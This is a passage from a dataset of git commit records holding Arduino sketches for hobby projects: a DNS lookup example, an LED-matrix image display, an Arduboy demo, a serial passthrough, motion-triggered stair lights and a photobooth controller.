\"Cosa\/Socket\/Driver\/W5100.hh\"\n#include \"Cosa\/INET.hh\"\n#include \"Cosa\/INET\/DNS.hh\"\n\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/Trace.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n \n\/\/ Network configuration\n#define MAC 0xde, 0xad, 0xbe, 0xef, 0xfe, 0xed\n#define IP 192,168,0,100\n#define SUBNET 255,255,255,0\n#define SERVER 192,168,0,1\n\/\/ #define SERVER 79,138,0,180\n\/\/ #define SERVER 85,8,31,209\n\n\/\/ W5100 Ethernet Controller with MAC-address\nconst uint8_t mac[6] PROGMEM = { MAC };\nW5100 ethernet(mac);\n\n\/\/ Query configuration\n#define NAME PSTR(\"www.arduino.cc\")\n\/\/ #define NAME PSTR(\"www.google.com\")\n\/\/ #define NAME PSTR(\"www.github.com\")\n\nvoid setup()\n{\n uart.begin(9600);\n trace.begin(&uart, PSTR(\"CosaDNSstarted\"));\n Watchdog::begin();\n\n uint8_t ip[4] = { IP };\n uint8_t subnet[4] = { SUBNET };\n ASSERT(ethernet.begin(ip, subnet));\n}\n\nvoid loop()\n{\n DNS dns;\n uint8_t server[4] = { SERVER };\n ASSERT(dns.begin(ethernet.socket(Socket::UDP), server));\n trace << PSTR(\"SERVER = \");\n INET::print_addr(trace, server, DNS::PORT);\n\n uint8_t host[4];\n ASSERT(dns.gethostbyname_P(NAME, host) == 0);\n trace << PSTR(\":gethostbyname(\") << NAME << PSTR(\") = \");\n INET::print_addr(trace, host);\n trace.println();\n\n SLEEP(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Ethernet\/CosaDNS\/CosaDNS.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"50e615e850ceebaa07f9011db82cdec3ecee6380","subject":"display16ColorImage init","message":"display16ColorImage init\n\nsample code for 16 shade image\n","repos":"KFW\/peggy.pi.pic","old_file":"display16ColorImage\/display16ColorImage.ino","new_file":"display16ColorImage\/display16ColorImage.ino","new_contents":"\/* This progam displays an image on a Peggy2.\n It was automatically generated by BMP2PEG.\n\n Copyright (c) 2009 Mark Delp. All right reserved.\n\n This program is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This software is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this software; if not, see http:\/\/www.gnu.org\/licenses.\n*\/\n\n#include <Peggy2.h>\n\n\/\/ declare bitmap data\nuint32_t einstein[4][25] = {\n{0x00164BC0, 0x000F5F48, 0x00288AE2, 0x0020FD14, 0x0045366C, 0x01619B68, 0x00159994, 0x005C1676, 0x00016AFA, 0x00C84984, 0x00159EE2, 0x0133CEBE, 0x001FE4B4, 0x00FB8BD2, 0x0191536C, 0x008F0A41, 0x015C3302, 0x0098819E, 0x00B2A528, 0x016C9578, 0x00AFFEB4, 0x0049FE50, 0x0000D6C0, 0x007E2120, 0x001D5080},\n{0x000B32C0, 0x00148960, 0x001F4960, 0x000F6530, 0x000F1C88, 0x001FE1C4, 0x005BE330, 0x0043E158, 0x00338954, 0x00739150, 0x00CEC16C, 0x00F339B8, 0x005147FC, 0x001AFA1C, 0x00926CA0, 0x00B07634, 0x00C8AFCC, 0x002DFD68, 0x0184A200, 0x01F79F80, 0x015DE080, 0x002C0400, 0x0039B980, 0x00046000, 0x00040000},\n{0x0006FC80, 0x000BF640, 0x0017F670, 0x000F8238, 0x003EE0E8, 0x003FFDA4, 0x003FFDF4, 0x003FFDB0, 0x007FF5B0, 0x003FEDB4, 0x003B3C88, 0x000C204C, 0x008C3844, 0x008CFDD4, 0x00273FE4, 0x0026FFF4, 0x0063BBFC, 0x000317C0, 0x000F5FC0, 0x00765840, 0x000F4080, 0x00179980, 0x0002E100, 0x00018000, 0x00020000},\n{0x0001FF00, 0x0007FF80, 0x000FFF80, 0x001FFFC0, 0x001FFF10, 0x001FFE18, 0x003FFE08, 0x003FFE0C, 0x003FFE0C, 0x007FFE08, 0x007FF810, 0x007E1000, 0x007E1008, 0x00773028, 0x007FF018, 0x007FF008, 0x003FF000, 0x007FE000, 0x007FE000, 0x000FE000, 0x00060040, 0x000660C0, 0x00040000, 0x00008000, 0x00000000}\n};\n\n\/\/ declare frame buffers\nPeggy2 frame1;\nPeggy2 frame2;\nPeggy2 frame3;\nPeggy2 frame4;\n\nvoid setup() \/\/ run once, when the sketch starts\n{\n \/\/ Call this once to init the hardware.\n \/\/ (Only needed once, even if you've got lots of frames.)\n frame1.HardwareInit();\n\n \/\/ populate each row of each frame buffer from the bitmap data\n int row;\n for (row = 0; row < 25; row++)\n {\n frame1.WriteRow(row, einstein[0][row]);\n frame2.WriteRow(row, einstein[1][row]);\n frame3.WriteRow(row, einstein[2][row]);\n frame4.WriteRow(row, einstein[3][row]);\n }\n\n}\n\nvoid loop() \/\/ run over and over again\n{\n frame1.RefreshAll(1); \/\/ draw frame buffer 1 time\n frame2.RefreshAll(2); \/\/ draw frame buffer 2 times\n frame3.RefreshAll(4); \/\/ draw frame buffer 4 times\n frame4.RefreshAll(8); \/\/ draw frame buffer 8 times\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'display16ColorImage\/display16ColorImage.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"95db201bcb6835e584ebe464b1d37107ea78374c","subject":"Added example for Arduboy hardware","message":"Added example for Arduboy hardware\n","repos":"lexus2k\/ssd1306,lexus2k\/ssd1306,lexus2k\/ssd1306,lexus2k\/ssd1306","old_file":"examples\/arduboy_base\/arduboy_base.ino","new_file":"examples\/arduboy_base\/arduboy_base.ino","new_contents":"\/*\n MIT License\n\n Copyright (c) 2018, Alexey Dynda\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n*\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ This sketch will run on Arduboy HW (compile for Leonardo board)\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"ssd1306.h\"\n#include \"nano_engine.h\"\n\nNanoEngine1 engine;\n\nNanoRect rect = { {15,12}, {60,35} }; \/\/ Lets make rect smaller than in previous example\n\nbool drawAll()\n{\n engine.canvas.clear();\n engine.canvas.setColor(RGB_COLOR8(255,255,0));\n engine.canvas.drawRect(rect); \/\/ draw rect in buffer\n return true;\n}\n\nvoid setup()\n{\n \/* Init Mono OLED 128x64 for Arduboy. 6 - RESET, 12 - CS, 4 - D\/C *\/\n ssd1306_128x64_spi_init(6, 12, 4);\n\n engine.begin();\n engine.setFrameRate(45);\n engine.drawCallback( drawAll ); \/\/ Set callback to draw parts, when NanoEngine8 asks\n engine.connectArduboyKeys(); \/\/ Connect ADC-buttons Z-keypad to analog A0 pin\n engine.refresh(); \/\/ Makes engine to refresh whole display content at start-up\n}\n\nvoid loop()\n{\n if (!engine.nextFrame()) return;\n NanoPoint point = {0,0};\n if (engine.pressed( BUTTON_RIGHT )) point.x = +1;\n if (engine.pressed( BUTTON_LEFT )) point.x = -1;\n if (engine.pressed( BUTTON_UP )) point.y = -1;\n if (engine.pressed( BUTTON_DOWN )) point.y = +1;\n engine.refresh(rect); \/\/ Update screen content at old rect position\n rect += point; \/\/ Move rect according to pressed keys\n engine.refresh(rect); \/\/ Update screen content at new rect position\n engine.display(); \/\/ refresh display content\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/arduboy_base\/arduboy_base.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"39a973f4e3a60e8a22b7f0892f3b532ba24d6529","subject":"added imacode:","message":"added imacode:\n","repos":"niliur\/niliur.github.io,niliur\/niliur.github.io,niliur\/niliur.github.io","old_file":"downloads\/IMAcode.ino","new_file":"downloads\/IMAcode.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/niliur\/niliur.github.io.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b5255b97271fd60e3d625daeff2922b40c9c6af6","subject":"Create Serial_for_EC_Calibration_m0.ino","message":"Create Serial_for_EC_Calibration_m0.ino\n","repos":"OceanographyforEveryone\/OpenCTD","old_file":"OpenCTD_Feather_Adalogger\/Serial_for_EC_Calibration_m0\/Serial_for_EC_Calibration_m0.ino","new_file":"OpenCTD_Feather_Adalogger\/Serial_for_EC_Calibration_m0\/Serial_for_EC_Calibration_m0.ino","new_contents":"#include <SoftwareSerial.h>\n\nSoftwareSerial gtSerial(12, 13); \/\/ Arduino RX, Arduino TX\n\nvoid setup() {\n Serial.begin(9600); \/\/ serial \/ USB port\n gtSerial.begin(9600); \/\/ software serial port\n}\n\nbyte rx_byte = 0; \/\/ stores received byte\n\nvoid loop() {\n \/\/ check if byte available from USB port\n if (Serial.available()) {\n rx_byte = Serial.read();\n \/\/ send a byte to the software serial port\n gtSerial.write(rx_byte);\n }\n\n \/\/ check if byte available on the software serial port\n if (gtSerial.available()) {\n \/\/ get the byte from the software serial port\n rx_byte = gtSerial.read();\n Serial.write(rx_byte);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OpenCTD_Feather_Adalogger\/Serial_for_EC_Calibration_m0\/Serial_for_EC_Calibration_m0.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3525948f4de76e0dde114488f2b011e9b2050282","subject":"Basic code to run steppers.","message":"Basic code to run steppers.\n\nFrom howtomechatronics.com A49888 Nema 17 tutorial file.\n","repos":"frofro1964\/Arduino-Auto-Gauge","old_file":"graham's test code\/basic_stepper_code\/basic_stepper_code.ino","new_file":"graham's test code\/basic_stepper_code\/basic_stepper_code.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: Unterminated quoted string\n","license":"apache-2.0","lang":"Arduino"} {"commit":"278ebc393d77fba009b8634387d31a3a31a9b3f1","subject":"New poroduction stair script stairs light up white going down and white going up with blue on the edges while idle. last 6 LEDs still not lighting up...","message":"New poroduction stair script stairs light up white going down and white going up with blue on the edges while idle. last 6 LEDs still not lighting up...\n","repos":"mkerfoot\/Stair-Lights,mkerfoot\/Stair-Lights,mkerfoot\/Stair-Lights","old_file":"Scripts\/stair_lights_w_motion_White_PRODUCTION\/stair_lights_w_motion_white_PRODUCTION.ino","new_file":"Scripts\/stair_lights_w_motion_White_PRODUCTION\/stair_lights_w_motion_white_PRODUCTION.ino","new_contents":"\/\/ Edit by Serge Niko June 2015\n\n#include <Adafruit_NeoPixel.h>\n\n#define PIN 6\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = Arduino pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(447, PIN, NEO_GRB + NEO_KHZ800); \/\/ the first variable is the number of LEDs\n\n\/\/ IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across\n\/\/ pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input\n\/\/ and minimize distance between Arduino and first pixel. Avoid connecting\n\/\/ on a live circuit...if you must, connect GND first.\n\n\/\/ Set up Variables\n unsigned long timeOut=60000; \/\/ timestamp to remember when the PIR was triggered.\n int downUp = 0; \/\/ variable to rememer the direction of travel up or down the stairs\n int alarmPinTop = 10; \/\/ PIR at the top of the stairs\n int alarmPinBottom =11; \/\/ PIR at the bottom of the stairs\n int alarmValueTop = LOW; \/\/ Variable to hold the PIR status\n int alarmValueBottom = LOW; \/\/ Variable to hold the PIR status\n int ledPin = 13; \/\/ LED on the arduino board flashes when PIR activated\n int LDRSensor = A0; \/\/ Light dependant resistor\n int LDRValue = 0; \/\/ Variable to hold the LDR value\n int colourArray[350]; \/\/ An array to hold RGB values\n int change = 1; \/\/ used in 'breathing' the LED's\n int breathe = 0; \/\/ used in 'breathing' the LED's\n \n\nvoid setup() {\n strip.begin();\n strip.setBrightness(255); \/\/adjust brightness here\n strip.show(); \/\/ Initialize all pixels to 'off'\n Serial.begin (9600); \/\/ only requred for debugging\n pinMode(ledPin, OUTPUT); \/\/ initilise the onboard pin 13 LED as an indicator\n pinMode(alarmPinTop, INPUT_PULLUP); \/\/ for PIR at top of stairs initialise the input pin and use the internal restistor\n pinMode(alarmPinBottom, INPUT_PULLUP); \/\/ for PIR at bottom of stairs initialise the input pin and use the internal restistor\n delay (200); \/\/ it takes the sensor 2 seconds to scan the area around it before it can 2000 was default\n \/\/detect infrared presence.\n\n}\n\n void loop() {\n\n if (timeOut+15700 < millis()) { \/\/ idle state - 'breathe' the top and bottom LED to show program is looping\n uint32_t blue = (0, 0, breathe);\n breathe = breathe + change;\n strip.setPixelColor(0, blue);\n strip.setPixelColor(27, blue);\n strip.setPixelColor(28, blue);\n strip.setPixelColor(57, blue);\n strip.setPixelColor(58, blue);\n strip.setPixelColor(87, blue);\n strip.setPixelColor(88, blue);\n strip.setPixelColor(117, blue);\n strip.setPixelColor(118, blue);\n strip.setPixelColor(147, blue);\n strip.setPixelColor(148, blue);\n strip.setPixelColor(177, blue);\n strip.setPixelColor(178, blue);\n strip.setPixelColor(207, blue);\n strip.setPixelColor(208, blue);\n strip.setPixelColor(237, blue);\n strip.setPixelColor(238, blue);\n strip.setPixelColor(267, blue);\n strip.setPixelColor(268, blue);\n strip.setPixelColor(297, blue);\n strip.setPixelColor(298, blue);\n strip.setPixelColor(327, blue);\n strip.setPixelColor(328, blue);\n strip.setPixelColor(357, blue);\n strip.setPixelColor(358, blue);\n strip.setPixelColor(387, blue);\n strip.setPixelColor(388, blue);\n strip.setPixelColor(417, blue);\n strip.setPixelColor(418, blue);\n strip.setPixelColor(446, blue);\n strip.show();\n if (breathe == 100 || breathe == 0) change = -change; \/\/ breathe the LED from 0 = off to 100 = fairly bright\n if (breathe == 100 || breathe == 0); delay (100); \/\/ Pause at beginning and end of each breath\n delay(10);\n\n \n }\n \n alarmValueTop = digitalRead(alarmPinTop); \/\/ Constantly poll the PIR at the top of the stairs\n \/\/Serial.println(alarmPinTop);\n alarmValueBottom = digitalRead(alarmPinBottom); \/\/ Constantly poll the PIR at the bottom of the stairs\n \/\/Serial.println(alarmPinBottom);\n \n if (alarmValueTop == HIGH && downUp != 2) { \/\/ the 2nd term allows timeOut to be contantly reset if one lingers at the top of the stairs before decending but will not allow the bottom PIR to reset timeOut as you decend past it.\n timeOut=millis(); \/\/ Timestamp when the PIR is triggered. The LED cycle wil then start.\n downUp = 1;\n \/\/clearStrip();\n topdown(); \/\/ lights up the strip from top down\n }\n \n if (alarmValueBottom == HIGH && downUp != 1) { \/\/ the 2nd term allows timeOut to be contantly reset if one lingers at the bottom of the stairs before decending but will not allow the top PIR to reset timeOut as you decend past it.\n timeOut=millis(); \/\/ Timestamp when the PIR is triggered. The LED cycle wil then start.\n downUp = 2;\n \/\/clearStrip();\n bottomup(); \/\/ lights up the strip from bottom up\n }\n\n if (timeOut+10000 < millis() && timeOut+15000 < millis()) { \/\/switch off LED's in the direction of travel.\n if (downUp == 1) {\n colourWipeDown(strip.Color(0, 0, 0), 200); \/\/ Off\n }\n if (downUp == 2) {\n colourWipeUp(strip.Color(0, 0, 0), 200); \/\/ Off\n }\n downUp = 0;\n \n }\n \n \n\n} \n\n void topdown() {\n Serial.println (\"detected top\"); \/\/ Helpful debug message\n colourWipeDown(strip.Color(10, 10, 10), 300 ); \/\/ Warm White - RGB - then 4th number is delay\n \/\/for(int i=0; i<3; i++) { \/\/ Helpful debug indication flashes led on Arduino board twice\n \/\/digitalWrite(ledPin,HIGH);\n \/\/ delay(1000);\n \/\/digitalWrite(ledPin,LOW); \n \/\/delay(1000);\n \/\/}\n }\n\n\n\n void bottomup() {\n Serial.println (\"detected bottom\"); \/\/ Helpful debug message\n colourWipeUp(strip.Color(10, 10, 10), 300); \/\/ Warm White\n \/\/for(int i=0; i<3; i++) { \/\/ Helpful debug indication flashes led on Arduino board twice\n \/\/digitalWrite(ledPin,HIGH);\n \/\/ delay(1000);\n \/\/digitalWrite(ledPin,LOW);\n \/\/delay(200);\n \/\/}\n }\n\n \/\/ Fade light each step strip\n void colourWipeDown(uint32_t c, uint16_t wait) {\n\n for (uint16_t j = 0; j < 15; j++){\n int start = strip.numPixels()\/15 *j;\n Serial.println(j);\n \n for (uint16_t i = start; i < start + 35; i++){\n strip.setPixelColor(i, c);\n }\n strip.show(); \n delay(wait);\n }\n \n }\n\n\nvoid clearStrip(){\n for (int l=0; l<strip.numPixels(); l++){\n strip.setPixelColor(l, (0,0,0));\n }\n \n}\n \/\/ Fade light each step strip\n void colourWipeUp(uint32_t c, uint16_t wait) {\n for (uint16_t j = 15; j > 0; j--){\n int start = strip.numPixels()\/15 *j;\n Serial.println(j);\n \/\/start = start-1;\n for (uint16_t i = start; i > start - 35; i--){\n strip.setPixelColor(i-1, c);\n }\n strip.show();\n delay(wait);\n } \n \n }\n\n \n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Scripts\/stair_lights_w_motion_White_PRODUCTION\/stair_lights_w_motion_white_PRODUCTION.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"37f7eb79f92d448749f97924b657a926d18a5a60","subject":"Create photobooth.ino","message":"Create photobooth.ino\n\nInitial release.","repos":"kitesurfer1404\/photobooth,kitesurfer1404\/photobooth,kitesurfer1404\/photobooth,kitesurfer1404\/photobooth,kitesurfer1404\/photobooth","old_file":"arduino\/photobooth.ino","new_file":"arduino\/photobooth.ino","new_contents":"\/*\n Arduino Photobooth\n\n Harm Aldick - 2015\n http:\/\/www.kitesurfer1404.de\/tech\/photobooth\/en\n https:\/\/github.com\/kitesurfer1404\/photobooth\n\n\n FEATURES\n * 7-segment-display for countdown\n * LED-speedlights\n * Pushbutton-support\n * \"breathing\" pushbutton-LED\n * Standalone or remote controlled operation (USB-serial)\n\n\n NOTES\n * Pushbutton-pins are configured to use internal pullup resistors \n of the Arduino for less external parts. If you want to use external \n pullup resistors change INPUT_PULLUP to INPUT in setup().\n * Set your camera to continuous focus for best results.\n * Use exposure compensation to compensate the dimmed focusing light. \n Values arround -1 EV work best for me in low light situations.\n * You might also need to adjust values in takePhoto() to your needs.\n Brightness and delays might be different with different LED-bulbs.\n * Serial speed is 9600 Baud. See processCommand() for a complete \n list of supported commands.\n * There is support for multiple pushbuttons - although only one is used\n by now. When connecting to a Raspberry Pi a second pushbutton might be\n used to shut the Pi down due to its lack of a power-down-button. \n * analogWrite() works only on Pins 3, 5, 6, 9, 10, 11 - that's why the LED-spots\n are connected to pins 10, 11, 5, 6 so we can get dimmed focusing light.\n * Make sure to connect all pushbutton LEDs to PWM outputs so the breathing\n will work.\n * Read the datasheet of your 7-segment-display for pin-layout. \n Connect this way:\n \n Segment Pin (Arduino)\n A 2\n B 3\n C 4\n D 7\n E 8\n F 12\n G 13\n\n Use darlington array and and current limiting resistors as appropriate.\n * See repository for example circuit.\n \n * This software is free and provided \"as is\" - but I appreciate a donation when\n you make money off it (e.g. as a commercial photographer).\n\n\n LICENSE\n \n The MIT License (MIT)\n\n Copyright (c) 2015 Harm Aldick \n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n\n\n CHANGELOG\n\n 2016-01-16 Initial beta release\n\n*\/\n\n\n\/* This is where you might define different IO-pins *\/\n\nint segment_pins[] = { 2, 3, 4, 7, 8, 12, 13 }; \/\/ pins segments A-G of the display are connected to\nint spot_pins[] = { 10, 11, 5, 6 }; \/\/ pins the spot-lights are connected to, use PWM-pins here\n\nint pin_focus = 15; \/\/ camera: focus (using analog pin A1 as digital output)\nint pin_shutter = 16; \/\/ camera: shutter (using analog pin A2 as digital output)\n\nint pushbutton_leds[] = { 9 }; \/\/ pin(s) on which the LED(s) of the pushbutton-switch(es) is\/are connected to. Use PWM-pins here.\nint pushbutton_pins[] = { 14 }; \/\/ pin(s) on which the pushbutton(s) is\/are connected to. Using analog pin A0 as digital input\nint lastButtonState[] = { 1 }; \/\/ saving the last state(s) of the button(s)\n\n\n\/* Some magic configuration happening below. *\/\n\nbyte segment_digits[10][7] = { \/\/ segments to light up on the corresponding index\n { 1,1,1,1,1,1,0 }, \/\/ 0\n { 0,1,1,0,0,0,0 }, \/\/ 1\n { 1,1,0,1,1,0,1 }, \/\/ 2\n { 1,1,1,1,0,0,1 }, \/\/ 3\n { 0,1,1,0,0,1,1 }, \/\/ 4\n { 1,0,1,1,0,1,1 }, \/\/ 5\n { 1,0,1,1,1,1,1 }, \/\/ 6\n { 1,1,1,0,0,0,0 }, \/\/ 7 \n { 1,1,1,1,1,1,1 }, \/\/ 8\n { 1,1,1,1,0,1,1 } \/\/ 9\n};\n\nint breath_delay_steps[] = { 7, 9, 13, 15, 16, 17, 18, 930, 19, 18, 15, 13, 9, 7, 4, 5 }; \/\/ magic numbers for breathing LED\nint breath_brightness_steps[] = { 150, 125, 100, 75, 50, 25, 16, 15, 16, 25, 50, 75, 100, 125, 150, 220 }; \/\/ even more magic numbers!\n\n\/\/ initial\/default values for breathing LED\n#define breath_initial_brightness 15\n#define breath_initial_direction 1\n#define breath_initial_index 8\n#define breath_initial_delay 1\n\nint breath_brightness; \/\/ initial brightness of breathing LED\nint breath_direction; \/\/ increase brightness\nint breath_index; \/\/ start at index 8 of our magic numbers\nint breath_delay; \/\/ no delay at startup, load values imidiately\nboolean breathing_enabled = true; \/\/ enables\/disables breathing LED at all.\n\nString inputCommand = \"\"; \/\/ a string to hold incoming data from serial\nboolean commandComplete = false; \/\/ whether the command string is complete\n\nboolean mode_auto = true; \/\/ default is running in standalone-mode\n\n\n\n\/\/ The setup function runs once when you press reset or power the board.\nvoid setup() {\n \/\/ Set all 7-segment-pins as output and turn LEDs off\n for(int i = 0; i < sizeof(segment_pins)\/sizeof(int); i++) {\n pinMode(segment_pins[i], OUTPUT);\n digitalWrite(segment_pins[i], LOW);\n }\n \n \/\/ Turn all spots off.\n for(int i = 0; i < sizeof(spot_pins)\/sizeof(int); i++) {\n digitalWrite(spot_pins[i], 0);\n }\n \n \/\/ Set all pushbutton-LED-pins as output and turn LEDs off\n for(int i = 0; i < sizeof(pushbutton_leds)\/sizeof(int); i++) {\n pinMode(pushbutton_leds[i], OUTPUT);\n digitalWrite(pushbutton_leds[i], LOW);\n }\n \n \/\/ Set all pushbutton-pins as input and enable pullup resistor\n for(int i = 0; i < sizeof(pushbutton_pins)\/sizeof(int); i++) {\n pinMode(pushbutton_pins[i], INPUT_PULLUP); \/\/ change INPUT_PULLUP to INPUT when there is an external pullup-resistor attached\n }\n \n \/\/ setup focus and shutter pins\n pinMode(pin_focus, OUTPUT);\n digitalWrite(pin_focus, LOW);\n pinMode(pin_shutter, OUTPUT);\n digitalWrite(pin_shutter, LOW);\n \n \n Serial.begin(9600); \/\/ initialize serial\n\n inputCommand.reserve(100); \/\/ reserve 100 bytes for the inputCommand\n\n breathing_reset(); \/\/ reset breathing LEDs\n \n Serial.println(\"ready\"); \/\/ we're ready to rock!\n}\n\n\n\/* turns all breathing LEDs gently on and resets everything for restart breathing *\/\nvoid breathing_reset() {\n for(int i = 0; i <= 15; i++) {\n for(int p = 0; p < sizeof(pushbutton_leds)\/sizeof(int); p++) {\n analogWrite(pushbutton_leds[p], i);\n }\n delay(10);\n }\n\n breathing_enabled = true;\n breath_brightness = breath_initial_brightness;\n breath_direction = breath_initial_direction;\n breath_index = breath_initial_index;\n breath_delay = breath_initial_delay;\n}\n\n\n\/* turns all breathing LEDs off and disables breathing at all *\/\nvoid breathing_stop() {\n for(int i = 0; i < sizeof(pushbutton_leds)\/sizeof(int); i++) {\n analogWrite(pushbutton_leds[i], 0);\n }\n breathing_enabled = false;\n}\n\n\n\/* does one step in \"breathing\", so we don't block anything else too long. *\/\nvoid breathing_do_step() {\n if(!breathing_enabled) {\n return; \/\/ nothing to do if disabled\n }\n \n breath_delay--;\n \n \/\/ update brightness and delays when waited long enough\n if(breath_delay == 0) {\n \/\/ increase or decrese brightness\n breath_brightness = breath_brightness + breath_direction;\n\n \/\/ change direction when LED is fully lit or very dimm\n if(breath_brightness == 255 || breath_brightness == 15) {\n breath_direction *= -1; \n }\n \n \/\/ update index of current delay when target brightness is reached\n if(breath_brightness == breath_brightness_steps[breath_index]) {\n breath_index++;\n \n \/\/ start over when the end is reached\n if(breath_index == sizeof(breath_brightness_steps)\/sizeof(int)) {\n breath_index = 0;\n }\n }\n \n \/\/ get new delay\n breath_delay = breath_delay_steps[breath_index];\n \n \/\/ set new brightness to all pushbutton leds\n for(int i = 0; i < sizeof(pushbutton_leds)\/sizeof(int); i++) {\n analogWrite(pushbutton_leds[i], breath_brightness);\n }\n\n } else {\n delay(1); \/\/ if we have still some rounds to go, wait 1ms and return\n }\n}\n\n\n\/* flashes the 7-segment-display in a fancy way *\/\nvoid animation_one(int wait) {\n for (int i = 0; i < sizeof(segment_pins)\/sizeof(int); i++) {\n digitalWrite(segment_pins[i], LOW);\n }\n \n for(int n = 0; n < 5; n++) {\n for (int i = 0; i < 6; i++) {\n digitalWrite(segment_pins[i], HIGH);\n delay(wait);\n digitalWrite(segment_pins[i], LOW);\n }\n }\n}\n\n\n\/* flashes the 7-segment-display in another fancy way *\/\nvoid animation_two(int wait) {\n int animation[] = { 1, 2, 7, 5, 4, 3, 7, 6 };\n \n for (int i = 0; i < sizeof(segment_pins)\/sizeof(int); i++) {\n digitalWrite(segment_pins[i], LOW);\n }\n \n for(int n = 0; n < 5; n++) {\n for(int i = 0; i < 8; i++) {\n int segment = animation[i] - 1;\n digitalWrite(segment_pins[segment], HIGH);\n delay(wait);\n digitalWrite(segment_pins[segment], LOW);\n }\n }\n}\n\n\n\/* flashes the spots in a fancy way *\/\nvoid animation_spots(int wait) {\n for (int i = 0; i < sizeof(spot_pins)\/sizeof(int); i++) {\n spot_off(i);\n }\n \n for (int i = 0; i < sizeof(spot_pins)\/sizeof(int); i++) {\n spot_on(i);\n delay(wait);\n spot_off(i);\n } \n}\n\n\n\/* turns a single spot on *\/\nvoid spot_on(int i) {\n analogWrite(spot_pins[i], 255);\n}\n\n\n\/* turns a single spot off *\/\nvoid spot_off(int i) {\n analogWrite(spot_pins[i], 0);\n}\n\n\n\/* turns all spots on (\"speedlight\") *\/\nvoid spots_on() {\n for (int i = 0; i < sizeof(spot_pins)\/sizeof(int); i++) {\n spot_on(i);\n }\n}\n\n\n\/* turns all spots off *\/\nvoid spots_off() {\n for (int i = 0; i < sizeof(spot_pins)\/sizeof(int); i++) {\n spot_off(i);\n }\n}\n\n\n\/* turns all spots on (dimmed) for fucusing the camera in low light *\/\nvoid spots_dimm(int value) {\n for (int i = 0; i 